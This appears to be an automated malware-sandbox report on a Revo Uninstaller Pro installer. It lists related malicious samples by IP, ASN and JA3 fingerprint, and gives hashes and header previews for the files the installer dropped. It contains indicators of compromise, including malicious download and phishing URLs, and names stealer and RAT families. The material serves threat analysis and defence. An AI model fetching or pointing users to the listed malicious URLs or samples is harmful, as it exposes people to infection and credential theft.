	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.20.4.235
	Microsoft.doc	Get hash	malicious	Unknown	Browse	104.20.3.235
	a9YMw44iQq.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	nlGOh9K5X5.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	cJ6xbAA5Rn.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	vortex.ps1	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	104.20.3.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	https://uhu145fc.s3.amazonaws.com/bf63.html?B3E2629E-DF5B-2F28-7322FD910FB23F54	Get hash	malicious	Phisher	Browse	104.17.25.14
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.43.156
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.16.9
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://zfrmz.com/wE0Jw9HNvGeKZ1fn5cBU	Get hash	malicious	Unknown	Browse	104.17.25.14
	W7ZBbzV7A5.exe	Get hash	malicious	Unknown	Browse	104.26.3.46
	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
AS-REGRU	cXjy5Y6dXX.exe	Get hash	malicious	RHADAMANTHYS	Browse	193.124.205.63
	SRT68.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	New Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	attached invoice.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	specification and drawing.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.58.112.174
	Pre Alert PO TVKJEANSA00967.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	194.58.112.174
	DO-COSU6387686280.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	37.140.192.206
	Fi#U015f.exe	Get hash	malicious	FormBook	Browse	31.31.196.177
IOFLOODUS	06.exe	Get hash	malicious	AgentTesla	Browse	107.178.108.41
	sdfg.exe	Get hash	malicious	AgentTesla	Browse	107.178.108.41
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	184.164.88.203
	https://www.upload.ee/files/17435967/DeltaAirLines_t.delta.com.txt.html	Get hash	malicious	Unknown	Browse	107.167.96.30
	nabarm.elf	Get hash	malicious	Unknown	Browse	148.163.47.37
	file.exe	Get hash	malicious	Unknown	Browse	148.163.93.46
	file.exe	Get hash	malicious	MicroClip	Browse	148.163.93.46
	IETC-24017.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	107.167.84.42
	file.exe	Get hash	malicious	FormBook	Browse	107.167.84.42
IOFLOODUS	06.exe	Get hash	malicious	AgentTesla	Browse	107.178.108.41
	sdfg.exe	Get hash	malicious	AgentTesla	Browse	107.178.108.41
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	184.164.88.203
	https://www.upload.ee/files/17435967/DeltaAirLines_t.delta.com.txt.html	Get hash	malicious	Unknown	Browse	107.167.96.30
	nabarm.elf	Get hash	malicious	Unknown	Browse	148.163.47.37
	file.exe	Get hash	malicious	Unknown	Browse	148.163.93.46
	file.exe	Get hash	malicious	MicroClip	Browse	148.163.93.46
	IETC-24017.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	107.167.84.42
	file.exe	Get hash	malicious	FormBook	Browse	107.167.84.42

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	http://crissertaoericardo.com.br/images/document.pif.rar	Get hash	malicious	GuLoader	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	tQoSuhQIdC.msi	Get hash	malicious	Unknown	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	A8Uynu9lwi.lnk	Get hash	malicious	Unknown	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	Lenticels.exe	Get hash	malicious	Snake Keylogger	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	Request for Quotation New collaboration.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	REQUEST FOR QUOATION AND PRICES 01306-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189
	cllmxIZWcQ.lnk	Get hash	malicious	Unknown	Browse	104.20.3.235 107.167.96.36 194.87.189.43 107.167.96.38 107.167.96.39 107.167.96.30 107.167.125.189

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe	56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe	Get hash	malicious	Unknown	Browse
	56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe	Get hash	malicious	Unknown	Browse
C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll	56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe	Get hash	malicious	Unknown	Browse
	56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\License.txt

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (793), with CRLF line terminators
Category:	dropped
Size (bytes):	5590
Entropy (8bit):	5.036330960659774
Encrypted:	false
SSDEEP:	96:ehs4nT03+Pq7sWchbo1Z18HOfMyLGt5aYbCMKgMbl5KTp9P3Rz3lwemW3bk:8HAEq76ubCufst5abLge5KXPJlQQk
MD5:	BB9B516486F1A5C2D5AA127355164604
SHA1:	712191F838CD5E95F5EC9A32ECD937F1B0119182
SHA-256:	0BDF49709C28EDEF8257F7FCB902314181C4FC66C8C3190EB55A30105487A9AC
SHA-512:	B29747BEDBC3B14E315FA216CE5ABEB222C354FA6A96055963666EFA3EAD39BF85DF2AB29015EFCB673503337B3BAA255D9AC396C0A503EA6F61B53198671EE8
Malicious:	false
Preview:	REVO UNINSTALLER PRO LICENSE AGREEMENT AND COPYRIGHT..========================....IMPORTANT: YOU SHOULD CAREFULLY READ THE FOLLOWING LICENSE AGREEMENT. IT WILL BE NECESSARY FOR YOU TO AGREE TO BE BOUND BY THE TERMS OF THIS AGREEMENT BEFORE BEING PERMITTED TO CONTINUE TO INSTALL THE PRODUCT.....This license Agreement is a legal agreement between You (either personal or corporate) and VS REVO GROUP, the developer of the SOFTWARE .Revo Uninstaller Pro.". "VS REVO GROUP" means the developer of the "Revo Uninstaller Pro" software product, VS Revo Group, Ltd. SOFTWARE means Revo Uninstaller Pro product and related explanatory materials. The term "SOFTWARE" also shall include any upgrades, modified versions or updates of the Software licensed to You by VS REVO GROUP.....YOU AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE AGREEMENT AND THE LIMITATIONS OF YOUR LICENSE BY INSTALLING, COPYING, DISTRIBUTING OR OTHERWISE USING the SOFTWARE. IF YOU DO NOT AGREE, DO NOT INSTALL, DISTRIBUTE OR USE REVO

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	191968
Entropy (8bit):	6.198794572117837
Encrypted:	false
SSDEEP:	3072:7G5lIaj6Zx5+hKTTn6115xx/Nl19oyUBlBN0AZHVf+3S484:7uSDXb67bPng1G1
MD5:	8B9964E06195FD375D126B424E236F03
SHA1:	6F1741CFEB9FB70C34857DBBA3E063C88C3C32FA
SHA-256:	BDA04B693BFDEA86A7A3B47F2E4CEAE9CD9475C4E81B0AA73B70FD244A65F70F
SHA-512:	741019523B4C5F4EF9A7952172309B2D304A84CBD98FFF99A719105CC1938157EDB1691554A21B9DCD2B523C0F1AB0D37879DEEFC3B2FA5579C0D8C76CADE483
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe, Detection: malicious, Browse Filename: 56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$..........y.uj.uj.uj3..uj3..uj3..uj.+i+.uj.+o+.uj.+n+.ujb,o+.uj....uj....uj....uj.uk&uj.+n+.uj.+o+.uj.+j+.uj.+..uj.u..uj.+h+.ujRich.uj........PE..d....Jb.........." .....v...P.......{.......................................0......./.... .........................................pS.......T...........3...............5... ..,...0%..T...................(&..(....%...............................................text...8t.......v.................. ..`.rdata...............z..............@..@.data....!...p.......N..............@....pdata...............^..............@..@.gfids...............x..............@..@.tls.................z..............@....rsrc....3.......4...\|..............@..@.reloc..,.... ......................@..B........................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Revo Uninstaller Pro Help.pdf

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PDF document, version 1.7, 77 pages
Category:	dropped
Size (bytes):	2172747
Entropy (8bit):	7.967339088421113
Encrypted:	false
SSDEEP:	49152:mjdEod4PD0ZuCBbVRBJHRn/kqZebFV46kT0Tw7AKlPm+JRJ:mZEo2DU1f98qZebFV4gT+R1muJ
MD5:	7012BC3336963CBF739BDB61C2226041
SHA1:	28D5BD206674B796AD22975E0023ADAFF074E163
SHA-256:	AA262DB5124FAD214251F81DFA44C19638B785D0E21C395DFDBCB91C37C3376F
SHA-512:	004E612C761C91509320983FCEE6F5B0E58136F686874DDAD39937611E6FF76111350B5D3EBA44FE7AF49E71000695B1773AA831731CEB08EDDBE37C0B70386C
Malicious:	false
Preview:	%PDF-1.7..%......1 0 obj..<</Type/Catalog/Pages 2 0 R/Lang(bg) /Metadata 383 0 R/ViewerPreferences 384 0 R>>..endobj..2 0 obj..<</Type/Pages/Count 77/Kids[ 3 0 R 20 0 R 39 0 R 47 0 R 49 0 R 50 0 R 51 0 R 53 0 R 54 0 R 57 0 R 59 0 R 61 0 R 63 0 R 64 0 R 65 0 R 66 0 R 67 0 R 69 0 R 71 0 R 73 0 R 74 0 R 76 0 R 79 0 R 81 0 R 82 0 R 83 0 R 85 0 R 86 0 R 88 0 R 90 0 R 92 0 R 94 0 R 95 0 R 97 0 R 98 0 R 99 0 R 101 0 R 102 0 R 103 0 R 105 0 R 106 0 R 108 0 R 109 0 R 110 0 R 111 0 R 112 0 R 113 0 R 114 0 R 115 0 R 116 0 R 117 0 R 118 0 R 119 0 R 120 0 R 121 0 R 122 0 R 123 0 R 125 0 R 126 0 R 127 0 R 128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 134 0 R 135 0 R 136 0 R 137 0 R 322 0 R 325 0 R 329 0 R 333 0 R 335 0 R 340 0 R 345 0 R 347 0 R] >>..endobj..3 0 obj..<</Type/Page/Parent 2 0 R/Resources<</ExtGState<</GS5 5 0 R/GS8 8 0 R>>/Font<</F1 6 0 R/F2 9 0 R/F3 11 0 R/F4 13 0 R>>/XObject<</Image18 18 0 R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<</Type/Gr

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9794808
Entropy (8bit):	6.9007098668528695
Encrypted:	false
SSDEEP:	98304:3dq5HiSQHu3a6F3+3gqVCnNqNt2A0p/5chEuuZkJaC:3dqtNk6UbhbaC
MD5:	D94CAA2ACB6EBAB90BF564AC6BFC1F05
SHA1:	965B4E3D1CF653ABC9C68736E5240FA3B50C2C46
SHA-256:	DB8B4EB11D18FD1DB9342DFC0155069289A4B0E6A9DF69520463F1224BC51C91
SHA-512:	3B24C4351177473D2BFD1CC4488EA9A5A5AEC2BB41801E70B4ACEFCE24C221B10CD491884CD1AA353D71365798FDEE11852F96813AD4468F7BE05787F1DB0AF3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe, Detection: malicious, Browse Filename: 56F2F2548297D7B72AF40B7898D1DABE2DCB809038898.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........w.............xL......xL..y...xL......[.......).........t.......w......................................b.........^...[.......^..............[.......Rich............PE..d...'..d..........#.......3..tb.....,H.........@.......................................... ...................................................F.......L...I...H..R...4...@............?.p.....................?.(.....?...............3.@............................text.....3.......3................. ..`.rdata.......3.......3.............@..@.data...@<...`F..N...FF.............@....pdata...R....H..T....G.............@..@.gfids..0.....K.......I.............@..@.giats........L.......K.............@..@.tls..........L.......K.............@....rsrc.....I...L...I...K.............@..@........................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	190640
Entropy (8bit):	6.421539474136109
Encrypted:	false
SSDEEP:	3072:OxneIw3rR+YT5J1zOpXJ5IevXr480/wqqpotGcGe9Nbms:OxBm9vOtr7r48Ct7x
MD5:	470F2FEABF6AD0A0EEDB02B02AD4C6E8
SHA1:	100887FC63BF34CAE420FFEED51900426B300CF7
SHA-256:	78288F4C89D635D0E213F3D2B9BD36D1EE4574CCFBA23E86BD900C7457E48318
SHA-512:	4FFD8CB2EB8AAE6CE50727937FE759D6CA70D125427FAC512C8DD5B7BF4F60D3EE92B3C5ABE14C1F1C4B4CBEA04F8217D3A4B075A510355A05299191089EA19D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......C.&..wH..wH..wH....wH....wH....wH.<)K..wH.<)L..wH.<)M.!wH.....wH..wI.cwH..)A..wH..)...wH..)J..wH.Rich.wH.........PE..d......g..........".................$s.........@..........................................`..................................................w..P...............x........J......\....N..p...........................`O...............................................text............................... ..`.rdata..............................@..@.data................l..............@....pdata..x............x..............@..@.gfids..............................@..@.rsrc...............................@..@.reloc..\...........................@..B................................................................................................................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUnPro.exe

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25604296
Entropy (8bit):	6.723595463931162
Encrypted:	false
SSDEEP:	196608:D8pA5h1COpxhZwpArAfpvuPTxhbmWqPWpyR1pOIIIIIIIIIIIIIIIIIIIIIIIIIh:gpA5h1nrhIAbFhlqPWpyR1pV
MD5:	5E2DAB5ED4703B7FA05508A82FB89D69
SHA1:	DA4616D9FD7245BF0410291B90D4C72215159F0B
SHA-256:	84EC9BC4133175E6E1DB997E650F53EF14448119F5B1FDFF8ED84F1B4DC5FEDD
SHA-512:	FE42EA532F58D55FB7ACC53B2B8322F8B60E30EDE050032399E8D3F2AEE1F2967B46863557547E267D6AA52DCE14FA2694F306697CE9C0660BEF898F985DFFCF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$..........zT.)T.)T.).Iy)@.).Iz)}.)..(C.)..(e.)...(V.).I{)..).I\|)G.).uO)V.)o..(..)o..(X.)o..(..).Ig)i.)T.)..)..(..).w)U.)T..)U.)..(U.)RichT.)........................PE..d....JMg..........#.........\.......1Q........@.....................................R.... .....................................................0...............\|....f...J..............p.......................(....................................................text...j......................... ..`.rdata...s3......t3................@..@.data........p.......L..............@....pdata..\|...........................@..@.gfids..,...........................@..@.giats..............................@..@.tls................................@....rsrc...............................@..@........................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25576112
Entropy (8bit):	6.723822651268559
Encrypted:	false
SSDEEP:	196608:pTOgY7cLQJlZxfRRHfpvuPTxhbmWqPWpyR1pOIIIIIIIIIIIIIIIIIIIIIIIIIIj:pPY7WQJlvf4FhlqPWpyR1pVk
MD5:	EE15BFE5A394ADBFB087B053A6A72821
SHA1:	FA6FDE156D571986B6DFD94C290DAA80A75E8020
SHA-256:	9652F60DE7AE4AA0970578974B1886E17A0CE7B6B68BA0F3E713B34EC3636071
SHA-512:	7EFDA209EE106A26B40858040AEF9A1FC389284A1B171C9729EDBF0005E213AD536850AFCFC66083A81D724E52B50833E1E5CE2AA1CC108CAFA7E8CC9B331ED8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$..........zT.)T.)T.).Iu)@.).Iv)}.)..(C.)..(e.)...(V.).Iw)..).Ip)G.).uC)V.)o..(..)o..(X.)o..(..).Ik)i.)T.)..)..(..).{)U.)T..)U.)..(U.)RichT.)........PE..d....IMg..........#......R...n........P........@.......................................... .....................................................0....P..........t........J..........@9..p...................H:..(....9...............p...............................text...jQ.......R.................. ..`.rdata..,~3..p....3..V..............@..@.data...x.........................@....pdata..t...........................@..@.gfids..,....`.......n..............@..@.giats.......0.......6..............@..@.tls.........@.......8..............@....rsrc........P.......:..............@..@........................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	179964
Entropy (8bit):	6.986303683816821
Encrypted:	false
SSDEEP:	3072:H5+pMHMfwXZawAuYNvCLBowkvWei9tL5KYps9/1Kj/9aG2l50:H5+p9wXMBgmvhctWrG
MD5:	18011FE26C01E02E939389868CB6B771
SHA1:	8FF97E84AD54A9279B908D5C66DA34736AD85541
SHA-256:	B370F4BFD94F61776FC84CF617EDB644C9ADDF4B02B0DAF14926A95D68FA7C11
SHA-512:	9051C26D30EE2B34359FF6508835508032D1434BD8596FD69ADBB73738829BCB2DA07ED03BFA10F2A07E654E43BD7C62E908372915EECAFAC6B2C585A6241829
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L..."D.f.................h...J...@..e6............@..........................@............@.........................................................................................................................................................text....f.......h.................. ..`.rdata..X............l..............@..@.data...x#..........................@....ndata...................................rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.inf

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	4.986959697467434
Encrypted:	false
SSDEEP:	48:uNxfNNQB7y7CTOYMTf/kphtF/iifITJAld2dCOofc0MqFzA:uTfNNQB7yWO7TfMDtVpfINxCOofc32A
MD5:	5187AC55870310AFF60ED802A729A31A
SHA1:	CEA83A2959CFAC57C75DF6BD9618E71FE9F481CA
SHA-256:	084309301CA31FC8384E97B30F0867559FBD20C38772E1FF7573D24BBC1A0833
SHA-512:	70D1C28D87F223ECD93196AEB1C96591095B6A5C41ADE2CF11C08182FE872986206706F7BF2F72F44D16803DCF593249872ADD4724AF13EF7BB328A48C6CDB73
Malicious:	false
Preview:	;;;..;;; Revoflt..;;;..;;;..;;; Copyright (c) 2009, VS Revo Group Ltd...;;;....[Version]..Signature = "$Windows NT$"..Class = "ActivityMonitor" ;This is determined by the work this filter driver does..ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class..Provider = %VSRG%..DriverVer = 12/30/2009,1.0.0.4..CatalogFile = ......[DestinationDirs]..DefaultDestDir = 12..Revoflt.DriverFiles = 12 ;%windir%\system32\drivers....;;..;; Default install sections..;;....[DefaultInstall]..OptionDesc = %ServiceDescription%..CopyFiles = Revoflt.DriverFiles....[DefaultInstall.Services]..AddService = %ServiceName%,,Revoflt.Service....;;..;; Default uninstall sections..;;....[DefaultUninstall]..DelFiles = Revoflt.DriverFiles....[DefaultUninstall.Services]..DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting....;..; Services Section..;....[Revoflt.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40240
Entropy (8bit):	6.679041686686874
Encrypted:	false
SSDEEP:	768:5UKM0N2alRO3gpeBJNUG+ML1naP6IXW0hzbhL7bCEMmo2ocAhu:DX+RtTL1naP6IzbhjCEDo2/Ahu
MD5:	498C3D4D44382A96812A0E0FF28D575B
SHA1:	C34586B789CA5FE4336AB23AD6FF6EEB991C9612
SHA-256:	23CB784547268CF775636B07CAC4C00B962FD10A7F9144D5D5886A9166919BBA
SHA-512:	CE450128E9CA1675EAB8AA734DC907DFC55F3DACD62503339080D6BD47B2523D063786DBE28E6833DB041F1D5869670BE2411A39C7B8D93D05A98B4C09CAD1A1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<..x...x...x...x...H..._u..}..._u..z...q.~.z...q.h.y..._u..{...q.t.{...q.i.y...q.l.y...Richx...........................PE..d...5.;K.........."......N..........................................................u...........................................................<............p.......b..0;...... ....Q...............................................P...............................text...;6.......8.................. ..h.rdata.......P.......<..............@..H.data...X....`.......B..............@....pdata.......p.......D..............@..HPAGE.................F.............. ..`INIT....v............N.............. ....rsrc................\..............@..B.reloc..z............`..............@..B........................................................................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.inf

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	4.986959697467434
Encrypted:	false
SSDEEP:	48:uNxfNNQB7y7CTOYMTf/kphtF/iifITJAld2dCOofc0MqFzA:uTfNNQB7yWO7TfMDtVpfINxCOofc32A
MD5:	5187AC55870310AFF60ED802A729A31A
SHA1:	CEA83A2959CFAC57C75DF6BD9618E71FE9F481CA
SHA-256:	084309301CA31FC8384E97B30F0867559FBD20C38772E1FF7573D24BBC1A0833
SHA-512:	70D1C28D87F223ECD93196AEB1C96591095B6A5C41ADE2CF11C08182FE872986206706F7BF2F72F44D16803DCF593249872ADD4724AF13EF7BB328A48C6CDB73
Malicious:	false
Preview:	;;;..;;; Revoflt..;;;..;;;..;;; Copyright (c) 2009, VS Revo Group Ltd...;;;....[Version]..Signature = "$Windows NT$"..Class = "ActivityMonitor" ;This is determined by the work this filter driver does..ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class..Provider = %VSRG%..DriverVer = 12/30/2009,1.0.0.4..CatalogFile = ......[DestinationDirs]..DefaultDestDir = 12..Revoflt.DriverFiles = 12 ;%windir%\system32\drivers....;;..;; Default install sections..;;....[DefaultInstall]..OptionDesc = %ServiceDescription%..CopyFiles = Revoflt.DriverFiles....[DefaultInstall.Services]..AddService = %ServiceName%,,Revoflt.Service....;;..;; Default uninstall sections..;;....[DefaultUninstall]..DelFiles = Revoflt.DriverFiles....[DefaultUninstall.Services]..DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting....;..; Services Section..;....[Revoflt.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	6.303083119559888
Encrypted:	false
SSDEEP:	768:A1uOPkxgu01UuLjQL1nHSSdW7W0fz1Qp33u43gf:AQqk7HL1nO/Qtrgf
MD5:	EC8E58E6B58B4FCDE77431CDA3A24C0E
SHA1:	EBB474009B2A2FBCE648ADFF4B8B797FCD00C997
SHA-256:	25667717BF4691957F07A6363585E2C7EAF22E5FD7229BF32C91EA59EF4A2EDD
SHA-512:	E2C667EBE97973FF27C1EDF3E45EBF7950BC8D7AAD1126DA25290A2F590B21808654694CBE6A0AD1D3649566EC7645EB6B3379C7D7C0A650D5381A69E9CDADE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................p....k...........................................Rich....................PE..d...:.._.........."......T...2.................@....................................o^....`A...................................................P....................r...$......D...hR..8............................R...............P...............................text....:.......<.................. ..h.rdata..l....P.......@..............@..H.data........`.......L..............@....pdata...............N..............@..HPAGE....G............R.............. ..`INIT.................\.............. ..bINIT....@............j..............@....rsrc................l..............@..B.reloc..D............p..............@..B........................................................................................................................................

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\Estonian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (606), with CRLF line terminators
Category:	dropped
Size (bytes):	111866
Entropy (8bit):	3.472213776386747
Encrypted:	false
SSDEEP:	768:loS7XtdYZqA5IIsJ4FC3P7EHjz7yhYe3w67kiG2ShuJVf6:Fbtnd2m0s6
MD5:	A911C2F3BDA6270E6D66F26F41094C9F
SHA1:	EAEA65B48486E81C369AE6C5185C66A5E901511C
SHA-256:	81B0F02756D39A5772C70AD0F0A85D4091A9C53F72DC8F69FF1738B3CC05F964
SHA-512:	67455DA740703FA81CA7D042C4ECB57B19DAC985C0D39E82A4539AF5E536A20A57E6B47A1651385FFE1C36DC5D0A53D11538661E7BEBB13D719D35F52F858B29
Malicious:	false
Preview:	..;.L.a.n.g.u.a.g.e. .f.i.l.e. .o.f. .R.e.v.o. .U.n.i.n.s.t.a.l.l.e.r. .P.r.o.....;.T.h.i.s. .s.e.c.t.i.o.n. .m.u.s.t. .u.s.e. .E.n.g.l.i.s.h.....[.I.n.f.o.].....L.a.n.g.u.a.g.e.=.E.e.s.t.i./.E.s.t.o.n.i.a.n.....W.e.b.L.a.n.g.=.E.S.T.....T.r.a.n.s.l.a.t.o.r.=.t.u.d.i.l.u.d.i. .-. .t.u.d.i.l.u.d.i...e.s.t.o.n.i.a.@.m.a.i.l...e.e.....C.o.d.e.p.a.g.e.=.U.N.I.C.O.D.E. .....V.e.r.s.i.o.n.=.4...3...8.............[.U.n.i.n.s.t.a.l.l.e.r. .T.o.o.l.b.a.r.].....1.0.2. .=. .V.a.a.d.e.....1.0.3. .=. .S.u.v.a.n.d.i.d.....1.0.4. .=. .E.e.m.a.l.d.a.j.a.....1.0.5. .=. .T.....r.i.i.s.t.a.d.....1.0.6. .=. .J...l.i.t.a.j.a. .r.e.~.i.i.m.....1.0.7. .=. .N.i.m.e.k.i.r.i.....1.0.8. .=. .I.k.o.o.n.i.d.....1.0.9. .=. .D.e.t.a.i.l.i.d.....1.1.0. .=. .E.e.m.a.l.d.a.....1.1.1. .=. .K.u.s.t.u.t.a. .s.i.s.s.e.k.a.n.n.e.....1.1.2. .=. .V...r.s.k.e.n.d.a.....1.1.3. .=. .O.l.e.d. .k.i.n.d.e.l.,. .e.t. .s.o.o.v.i.d. .v.a.l.i.t.u.d. .s.i.s.s.e.k.a.n.d.e. .k.u.s.t.u.t.a.d.a.?.....1.1.4. .=. .O.l.e.d. .k.i.n.d.e.l.,. .e.

C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\albanian.ini

Download File

Process:	C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe
